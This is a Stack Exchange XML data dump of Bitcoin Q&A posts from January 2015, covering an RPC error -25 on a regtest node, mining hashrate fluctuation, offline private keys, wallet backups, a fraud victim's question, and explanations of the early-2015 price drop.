  <row Id="35484" PostTypeId="1" CreationDate="2015-01-13T23:33:01.923" Score="3" ViewCount="1833" Body="&lt;p&gt;I'm running a bitcoind regtest node. When trying to relay a transaction (created using bitcoin-ruby) I receive&lt;br&gt;&#xA;&lt;code&gt;error: {&quot;code&quot;:-25,&quot;message&quot;:&quot;&quot;}&lt;/code&gt;&#xA;When I restart the node and relay the exact same transaction it relays fine. This behavior is consistent and reproduces every time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My output for &lt;code&gt;decoderawtransaction&lt;/code&gt; is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;txid&quot; : &quot;df91267ed650795245882bc91b8dc104e6c41d2f29ed3221f29151aa60554842&quot;,&#xA;    &quot;version&quot; : 1,&#xA;    &quot;locktime&quot; : 0,&#xA;    &quot;vin&quot; : [&#xA;        {&#xA;            &quot;txid&quot; : &quot;fab40dbf6b95ef2fe5f4aca0668a84edebdf70cfb80565626be80c7af20a525e&quot;,&#xA;            &quot;vout&quot; : 0,&#xA;            &quot;scriptSig&quot; : {&#xA;                &quot;asm&quot; : &quot;0 3046022100fb2a69546ea44db3a06cfcf120d1fda135bfde0946f2186a52d8cfee83835705022100c680cc5135174425ce5137a2996fbdcd55463c4acb88bb9fdbdb03f70f0a213b01 30460221008294d1779bfb21240859feccc96104dea574541d41163d2c849846d8e44496fe022100faf00dabba65f22469a1116ea10d5ce34f90bea779ba770ae1ac3af5c432379e01 52210261318d096a7addf67d935076c28dfa4a1c0e8f2ed04a7cb47ac53bd7fe2ebe6d210397866513a1796e75aae6a53d54d0ccc904c56fa12e14ab0ee989a6eed6e29c0352ae&quot;,&#xA;                &quot;hex&quot; : &quot;00493046022100fb2a69546ea44db3a06cfcf120d1fda135bfde0946f2186a52d8cfee83835705022100c680cc5135174425ce5137a2996fbdcd55463c4acb88bb9fdbdb03f70f0a213b014930460221008294d1779bfb21240859feccc96104dea574541d41163d2c849846d8e44496fe022100faf00dabba65f22469a1116ea10d5ce34f90bea779ba770ae1ac3af5c432379e014c4752210261318d096a7addf67d935076c28dfa4a1c0e8f2ed04a7cb47ac53bd7fe2ebe6d210397866513a1796e75aae6a53d54d0ccc904c56fa12e14ab0ee989a6eed6e29c0352ae&quot;&#xA;            },&#xA;            &quot;sequence&quot; : 4294967295&#xA;        }&#xA;    ],&#xA;    &quot;vout&quot; : [&#xA;        {&#xA;            &quot;value&quot; : 1.00000000,&#xA;            &quot;n&quot; : 0,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_HASH160 ee7455fa97980531b90b15f5f18386122a7f6919 OP_EQUAL&quot;,&#xA;                &quot;hex&quot; : &quot;a914ee7455fa97980531b90b15f5f18386122a7f691987&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;scripthash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;2NEz4B6YtgTCpv6Qv56f7HarXUeHeLmdmih&quot;&#xA;                ]&#xA;            }&#xA;        },&#xA;        {&#xA;            &quot;value&quot; : 0.99990000,&#xA;            &quot;n&quot; : 1,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_HASH160 0b607311f3db7d2a28b4c6fd259913356a86c302 OP_EQUAL&quot;,&#xA;                &quot;hex&quot; : &quot;a9140b607311f3db7d2a28b4c6fd259913356a86c30287&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;scripthash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;2MtHNxpeYfFmLTMDnW7DFf9y9ZnM49u4tXW&quot;&#xA;                ]&#xA;            }&#xA;        }&#xA;    ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The referenced txout has 2 BTC. I also tried &lt;code&gt;sendrawtransaction &amp;lt;hex&amp;gt;, true&lt;/code&gt; to try and rule out some fee problems. Same symptom.&#xA;I didn't see any special debug message in debug.log&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My output for &lt;code&gt;getinfo&lt;/code&gt; is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;version&quot; : 90300,&#xA;    &quot;protocolversion&quot; : 70002,&#xA;    &quot;walletversion&quot; : 60000,&#xA;    &quot;balance&quot; : 530.90534322,&#xA;    &quot;blocks&quot; : 460,&#xA;    &quot;timeoffset&quot; : 0,&#xA;    &quot;connections&quot; : 1,&#xA;    &quot;proxy&quot; : &quot;&quot;,&#xA;    &quot;difficulty&quot; : 0.00000000,&#xA;    &quot;testnet&quot; : false,&#xA;    &quot;keypoololdest&quot; : 1421187525,&#xA;    &quot;keypoolsize&quot; : 101,&#xA;    &quot;paytxfee&quot; : 0.00000000,&#xA;    &quot;relayfee&quot; : 0.00001000,&#xA;    &quot;errors&quot; : &quot;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm still trying to plug v0.10 into my environment for debugging, I understand bitcoin-core has better messages for code -25, but I still need this to play nice with a v0.9 node.&lt;/p&gt;&#xA;" OwnerUserId="15126" LastEditorUserId="2306" LastEditDate="2015-01-14T00:08:27.800" LastActivityDate="2015-01-14T20:44:02.327" Title="Receiving `error: {&quot;code&quot;:-25,&quot;message&quot;:&quot;&quot;}` on sendrawtransaction with v0.9.3" Tags="|bitcoind|json-rpc|raw-transaction|rpc-error-25|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="35485" PostTypeId="5" CreationDate="2015-01-13T23:59:42.157" Score="0" Body="" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-01-13T23:59:42.157" LastActivityDate="2015-01-13T23:59:42.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35486" PostTypeId="4" CreationDate="2015-01-13T23:59:42.157" Score="0" Body="For when bitcoin returns &quot;code&quot;:-25 after calling an RPC function. Also known as RPC_VERIFY_ERROR and RPC_TRANSACTION_ERROR.&#xD;&#xA;&#xD;&#xA;Don't use this tag for general errors." OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-01-13T23:59:42.157" LastActivityDate="2015-01-13T23:59:42.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35487" PostTypeId="1" AcceptedAnswerId="35490" CreationDate="2015-01-14T04:12:44.280" Score="3" ViewCount="1591" Body="&lt;p&gt;I have an Antminer S1 and an Antminer C1. They both work as advertised and achieve a three hour hashrate average of 200 Ghash and 1000 Ghash, respectively. However, within any given second they hash within 15% of that average. So the C1 right now is hashing at about 850 Ghash, but I've seen it has high has 1150 Ghash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought perhaps that the S1 did it because it is overclocked. But the C1 is not overclocked. I also think perhaps that my source for the stats might be the problem, which is the Eligius stats page for my miner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this kind of fluctuation normal? Why does it fluctuate like this? Is this specific to Bitmain hardware or does other hardware do it too? If it is not normal, what could be the problem?&lt;/p&gt;&#xA;" OwnerDisplayName="user4276" LastEditorUserId="2306" LastEditDate="2017-04-25T19:55:36.093" LastActivityDate="2017-04-25T19:55:36.093" Title="Is it normal for my hardware hashrate to vary by 15% but still achieve the advertised average?" Tags="|mining-hardware|hashpower|antminer|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35488" PostTypeId="1" CreationDate="2015-01-14T07:08:13.673" Score="0" ViewCount="108" Body="&lt;p&gt;I am building a native Ripple Android wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that the BlobVault is currently centralized so what are the Ripple Labs server addresses that is safe to connect to those API servers - BlobVault and authd? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe my understanding is limited and I am asking the wrong question, but:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;What is the address of the servers that run the BlobVault and authd API?&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="20735" LastEditorUserId="20735" LastEditDate="2015-01-14T11:58:47.710" LastActivityDate="2015-02-13T14:33:20.467" Title="What is the address of the servers that run the BlobVault and authd API?" Tags="|ripple|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35489" PostTypeId="2" ParentId="35456" CreationDate="2015-01-14T10:45:33.077" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;or should I implement more sophisticated script parser which can&#xA;  detect &quot;non-standard&quot; scripts as well?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can create two &quot;virtual&quot; accounts while parsing the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First account receives all non-standard transactions which are provable unspendable.&#xA;There will be no spendings from this &quot;account&quot;. The amount of this account will be the answer to a question &quot;How many bitcoins are lost&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second account receives all other non-standard outputs.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-01-14T10:45:33.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35490" PostTypeId="2" ParentId="35487" CreationDate="2015-01-14T11:15:41.370" Score="2" Body="&lt;p&gt;I have TechnoBit Hex miners running BlackArrow ASIC chips and my equipment fluctuates a lot. I mine with the 'Discus Fish' Pool (aka F2Pool) and they let me view my hashrate on their website on a really fancy graph. My 1200 GHs dips from 900 GHs up to 1300 (occasionally), but in the end I do get a nice even 1150 / 1200 GHs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The software (Cgminer) does fluctuate even more on my screen, it goes from 700 to 1300 GHs, but this really depends on what difficulty your miners are getting from your pool. Anyhow, a little fluctuation is perfectly normal.&lt;/p&gt;&#xA;" OwnerUserId="21294" LastActivityDate="2015-01-14T11:15:41.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35491" PostTypeId="2" ParentId="35473" CreationDate="2015-01-14T11:21:08.353" Score="0" Body="&lt;p&gt;A Bitcoin address is equivalent to a random number. The possible numbers this random number is picked from, is such a huge range of numbers (possibilities are as large as a 1 with 26 0's behind it!) that we can just pick any number in there and have almost the same odds of picking the same number someone else did. (If I tell you to pick a number between 1 and 10, you have a 1 in 10 chance of picking MY number.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meaning that, if I have a computer not connected to the internet, it can still pick a random number and create a human readable bitcoin address corresponding to the random number and be pretty sure that number / address has never been used before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a really great part of the system, because now I can send bitcoins to the address I just generated, knowing that I have the password (Private Key) for that address, but no one will steal that password, as long as my computer is not compromised (and it won't since it isn't connected to the internet.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, every bitcoin address is permanent, since once it is included in the blockchain, it won't ever disappear out of it. The only thing you can lose is your private key. But the address will be included in the blockchain for as long as the blockchain will be run.&lt;/p&gt;&#xA;" OwnerUserId="21294" LastActivityDate="2015-01-14T11:21:08.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35492" PostTypeId="2" ParentId="35488" CreationDate="2015-01-14T13:05:13.337" Score="1" Body="&lt;p&gt;The correct domain addresses for Ripple Labs are listed at &lt;code&gt;https://ripple.com/ripple.txt&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;code&gt;https://wiki.ripple.com/Ripple.txt&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="20735" LastActivityDate="2015-01-14T13:05:13.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35493" PostTypeId="2" ParentId="19792" CreationDate="2015-01-14T13:10:32.147" Score="0" Body="&lt;p&gt;Can you see in block.io or blockchain.info that your transaction goes through?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore &lt;code&gt;gettransaction()&lt;/code&gt; doesn't work unless you have &lt;code&gt;txindex=1&lt;/code&gt;in your &lt;code&gt;bitcoin.conf settings&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look here for inspiration:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cryptoassetscore.readthedocs.org/en/latest/backends.html#module-cryptoassets.core.backend.bitcoind&quot; rel=&quot;nofollow&quot;&gt;http://cryptoassetscore.readthedocs.org/en/latest/backends.html#module-cryptoassets.core.backend.bitcoind&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if you are accepting Bitcoin payments in Python, &lt;a href=&quot;https://bitbucket.org/miohtama/cryptoassets&quot; rel=&quot;nofollow&quot;&gt;check out cryptoassets.core library for Bitcoin cryptocurrencies in Python&lt;/a&gt;. (disclaimer: I am the author)&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2015-01-14T13:10:32.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35494" PostTypeId="1" CreationDate="2015-01-14T13:11:26.537" Score="7" ViewCount="9950" Body="&lt;p&gt;What on earth is driving the price of Bitcoin and other alternative currencies down lately? It's one thing for it to go down a bit but losing practically 80% of its value in less than a year? I feel like bitcoin is coming to a complete collapse. A list of the most important factors and a detailed explanation would be great guys. &lt;/p&gt;&#xA;" OwnerUserId="21476" LastEditorUserId="3029" LastEditDate="2015-01-19T19:47:05.257" LastActivityDate="2015-07-26T13:46:55.420" Title="Why did Bitcoin lose value so fast in early January 2015?" Tags="|exchange-rate|bitcoin-economy|news-coverage|price-volatility|" AnswerCount="6" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35495" PostTypeId="1" CreationDate="2015-01-14T13:46:41.693" Score="0" ViewCount="2754" Body="&lt;p&gt;I was cheated by ebankbtc.com, which gave me this address: 1QiCsWaZxvNy4hXZMvQJEBcnVm5KH3fK5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the transaction here: &#xA;&lt;a href=&quot;https://blockchain.info/tx/e22206dcf27249afa6576443b3953b11ae43c04050c9e663a64f61ea320a7a4f&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/e22206dcf27249afa6576443b3953b11ae43c04050c9e663a64f61ea320a7a4f&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I lost my own Bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do about it?&lt;/p&gt;&#xA;" OwnerUserId="22912" LastEditorUserId="2306" LastEditDate="2015-01-14T23:55:55.763" LastActivityDate="2017-11-13T12:59:34.257" Title="Someone scammed me, and I want my money back. What can I do?" Tags="|fraud|chargeback|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35496" PostTypeId="2" ParentId="35495" CreationDate="2015-01-14T13:50:38.860" Score="4" Body="&lt;p&gt;If the receiving party is not co-operating you cannot enforce them to return the payment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case it is recommended to take the case to your local police and make a  crime report of fraud. Most civilized countries have courts which can enforce the fraudster to repay the stolen property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However getting anything back is unlikely if you were scammed in Internet. as most likely the culprint is in another country.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Welcome to non-regulated cryptoanarchy.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastEditorUserId="5464" LastEditDate="2015-01-14T23:18:34.670" LastActivityDate="2015-01-14T23:18:34.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35497" PostTypeId="1" AcceptedAnswerId="35500" CreationDate="2015-01-14T14:00:41.053" Score="16" ViewCount="3136" Body="&lt;p&gt;I am new to Bitcoin and this question is based on 3 assumptions that may be incorrect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Assumption 1:&lt;/strong&gt;&#xA;If I understand correctly, the Bitcoin address is generated algorithmically independent of the network, so I should be able to create a public address and private key offline correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Assumption 2:&lt;/strong&gt;&#xA;I can receive funds through the network using my public address without ever having to make my private key known to anyone correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Assumption 3:&lt;/strong&gt;&#xA;Now when it's time to spend my funds, offline I can create a Bitcoin transaction authorizing the transfer from my address to another location and sign it with my private key entirely offline. I can then transfer that transaction to a separate computer with internet access and then publish that transaction to the Bitcoin network to be mined/verified in the blockchain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Conclusion:&lt;/strong&gt;&#xA;If all 3 points are true then I should be able to keep my private key from the internet for it's entire life correct?&lt;/p&gt;&#xA;" OwnerUserId="22913" LastEditorUserId="22913" LastEditDate="2015-01-14T21:19:26.800" LastActivityDate="2017-05-23T16:49:55.243" Title="Can private keys remain offline for their entire life?" Tags="|transactions|blockchain|private-key|public-key|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35498" PostTypeId="2" ParentId="35494" CreationDate="2015-01-14T14:07:56.640" Score="5" Body="&lt;p&gt;Adding to my answer on &lt;a href=&quot;https://bitcoin.stackexchange.com/a/30733/5406&quot;&gt;What are some of the proposed ideas to why the Bitcoin dropped to sub $400 in the end of summer 2014?&lt;/a&gt;, which I think is still mostly accurate:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;Bitstamp loot&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There are about 19k bitcoins held by the hacker that raided Bitstamp. While, as far as I know, they haven't found their way back into the market, it is an amount that would impact the markets if it were dumped. It is possible that some speculators were expecting a dump, and tried to position themselves to buy low. Such a dump in itself could have scared the already skittish market into further dumps.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;Bitstamp has no trading fee until 19th&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;While Bitstamp seems to have weathered the hack well-enough, they are not taking any trading fee until the 19th. The fee usually being 0.2% – 0.5%, trades on much smaller movements are currently profitable. As Bitstamp is still the most important Western Exchange, this might have spiked a new dynamic.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;The loss in value&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Markets amplify the current trend. The loss in value is causing fear, leading to further dumps, creating a catch-22.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;Russia banning Bitcoin websites&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Bitcoin supposedly was a hip way to withdraw money out of Russia for a while. Although Russia had been rattling with their saber a while towards Bitcoin, they are finally starting to take action by blocking Bitcoin services there now. This might induce a trend of Russians moving out of Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;Butterfly Labs has to sell their stash to confirm with financial obligations&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Apparently, Butterfly labs has been ordered by court to refund their customers. According to &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/2sdwf8/butterfly_labs_is_the_culprit/&quot; rel=&quot;nofollow noreferrer&quot;&gt;rumors on reddit&lt;/a&gt;, they have been selling thousands of Bitcoins and are still sitting on more than 90k.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;Mining operations sliding into unprofitable ranges&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;A bunch of mining operations, as for example CEX.IO, have cited that the current price makes their mining unprofitable. To cover financial obligations, they have to liquidate a larger percentage of their bitcoins than before, perhaps even their saved holding they were hoping to carry over to the next bubble. With the dropping price covering their obligations by liquidating bitcoins only gets more bitcoin-expensive.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;Bringing oneself in position to buy takes a few days&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;When the price quickly lost value, few of those that were interested in catching up the cheap coins were already in position to buy. As it takes a few days for money to be transferred to exchanges, the buy reaction is a bit delayed in comparison to a price drop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Especially on Bitstamp where deposits were closed for a few days during the slump in the aftermath of the hack, people were probably waiting for the dust to settle. In fact, a lot of the deposits from Bitstamp were immediately withdrawn on reopening. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the dust settled, and people started to realize that Bitstamp actually appeared to be in good shape, it still took a few days for potential buyers to transfer money to Bitstamp, which would explain why the price was somewhat shifted lower on Bitstamp in comparison to other exchanges for a while.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;As usual: I'm a computer scientist, not knowledgeable in economy beyond what I read here and there. Please do not consider this investment advice; &lt;a href=&quot;https://bitcoin.stackexchange.com/a/22520/5406&quot;&gt;I have been wrong before&lt;/a&gt;. Please trade responsibly.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2015-01-15T12:46:32.377" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35499" PostTypeId="2" ParentId="35494" CreationDate="2015-01-14T14:12:32.437" Score="3" Body="&lt;p&gt;1) I don't know anyone actively uses Bitcoin, or other altcoin, that is not mining it and/or trying to profit from it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Bit coin price fluctuates, so as a business I would only use it to process a transaction and then convert it to cash ASAP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Why is everyone losing Bitcoin in the news? True cash gets lost or stolen, but this make me fearful that my digital wallet could get lost or hacked. This may not be true, but it's how people feel. Losing money forever sounds bad, like I lit my cash on fire. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) The anonymity of Bitcoin makes it more susceptible to sensational scams and tax evasion which do not help in giving it credibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) The concept and encryption process is incredible, what a great geeky hobby. I honestly don't know anyone that uses it other for fun or speculation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;6) If the Warren Buffets of the world aren't on board, it makes it difficult.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;“Stay away. Bitcoin is a mirage. It’s a method of transmitting money. It’s a very effective way of transmitting money and you can do it anonymously and all that. A check is a way of transmitting money, too. Are checks worth a whole lot of money just because they can transmit money? Are money orders? You can transmit money by money orders. People do it. I hope bitcoin becomes a better way of doing it, but you can replicate it a bunch of different ways and it will be. The idea that it has some huge intrinsic value is just a joke in my view.” - W.B&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="22914" LastEditorUserId="18196" LastEditDate="2015-01-14T14:53:37.557" LastActivityDate="2015-01-14T14:53:37.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35500" PostTypeId="2" ParentId="35497" CreationDate="2015-01-14T14:15:10.337" Score="12" Body="&lt;p&gt;Yes, all three assumptions are correct. You can with some effort keep your private keys offline for their entire life.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A description of how to sign transactions offline is found here: &lt;a href=&quot;https://bitcoin.stackexchange.com/q/8101/5406&quot;&gt;How to sign a transaction using only an offline computer?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Adding a bit of detail on Assumption 3 along the lines of Tim S.'s comment: A computer that is offline would obviously not get updates from the network, so it would also not know which transaction outputs are available for spending. This could be mitigated by importing the blockchain data to the offline computer (for example with the &lt;a href=&quot;https://bitcoin.stackexchange.com/q/16769/5406&quot;&gt;&lt;code&gt;bootstrap.dat&lt;/code&gt;&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it would be much easier to create a two wallet setup, where one online wallet knows only the addresses, and the offline wallet has the private keys. You then create the transaction on the online wallet, which has the transactional information and sign it on the offline wallet. That's what is described in the above linked question as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update in 2017: The creation of a transaction on the online device and signing on the offline device is essentially what hardware wallets such as Trezor do.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2017-05-23T16:49:55.243" LastActivityDate="2017-05-23T16:49:55.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35501" PostTypeId="2" ParentId="35494" CreationDate="2015-01-14T14:36:02.990" Score="-3" Body="&lt;p&gt;Because bitcoin is a pyramid scheme. And it falls now.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-01-14T14:36:02.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35502" PostTypeId="2" ParentId="9496" CreationDate="2015-01-14T15:03:38.447" Score="1" Body="&lt;p&gt;Bitstamp now do offer trailing stop orders and okcoin offer trailing orders on BTC futures, they don't seem to offer trailing on spot orders.&#xA;14th January 2015&lt;/p&gt;&#xA;" OwnerUserId="5908" LastActivityDate="2015-01-14T15:03:38.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35503" PostTypeId="1" CreationDate="2015-01-14T15:42:39.870" Score="0" ViewCount="505" Body="&lt;p&gt;I am new to bitcoin and the first client I installed was Bitcoin-Qt (Bitcoin Core v0.9.3.0-gcea5e49-beta). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After installing and downloading the blockchain I immediately created a backup file. The other day I got my first bitcoins. Should I create a new backup file every time my wallet is updated (get more coins/spend coins) or its unnecessary (my first backup file contains all info needed for recovering all transaction history for my private key)?&lt;/p&gt;&#xA;" OwnerUserId="22882" LastActivityDate="2015-01-14T15:47:50.913" Title="How often should I back up my wallet if I use Bitcoin-Qt client?" Tags="|bitcoin-core|backup|" AnswerCount="1" CommentCount="0" ClosedDate="2015-01-14T16:19:31.457" ContentLicense="CC BY-SA 3.0" />
  <row Id="35504" PostTypeId="2" ParentId="35503" CreationDate="2015-01-14T15:47:50.913" Score="0" Body="&lt;p&gt;If you use default settings you have to backup your wallet.dat after you unlock each 100 your addresses. You also must backup your wallet.dat after you set a passphase on it. Do not create backups by copying your file while your client is running. Eigher create backup with a client menu or shutdown client and copy file to a different folder.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-01-14T15:47:50.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35505" PostTypeId="2" ParentId="9445" CreationDate="2015-01-14T15:53:07.657" Score="4" Body="&lt;p&gt;I will explain how to calculate the value of some amount of bitcoins in terms of USD, but obviously the USD can be replaced by any other currency, and the corresponding exchange rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are three figures involved in this calculation:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The value in USD.&lt;/li&gt;&#xA;&lt;li&gt;The exchange rate, which gives you the relation of USD to BTC.&lt;/li&gt;&#xA;&lt;li&gt;The amount of bitcoins.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you look at the units of the figures, you can figure out the following formula:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;value in USD = exchange rate * amount of bitcoins&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or expressed in the units of the terms:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[USD] = [USD/BTC] * [BTC]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, if you multiply the &lt;code&gt;exchange rate [USD/BTC]&lt;/code&gt; with the &lt;code&gt;amount of bitcoins [BTC]&lt;/code&gt;, the units of the right side will be reduced to &lt;code&gt;[USD]&lt;/code&gt;, which is what we are looking for.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Example:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;We have &lt;code&gt;0.005 BTC&lt;/code&gt; and the exchange rate is &lt;code&gt;200 USD/BTC&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;exchange rate * amount of bitcoins = 200 USD/BTC * 0.005 BTC = 200 USD * 0.005 = 1 USD&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also turn the equation around to calculate any of the other terms:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To calculate the exchange rate, you take the amount of USD you paid, and divide by the amount of bitcoins you received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;exchange rate = 'value in USD' / 'number of bitcoins'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To calculate the number of bitcoins you might buy with a given amount of USD at a specific exchange rate, you divide the amount of USD by the exchange rate:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;number of bitcoins = 'value in USD' / 'exchange rate'&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-01-14T17:19:48.653" LastActivityDate="2015-01-14T17:19:48.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
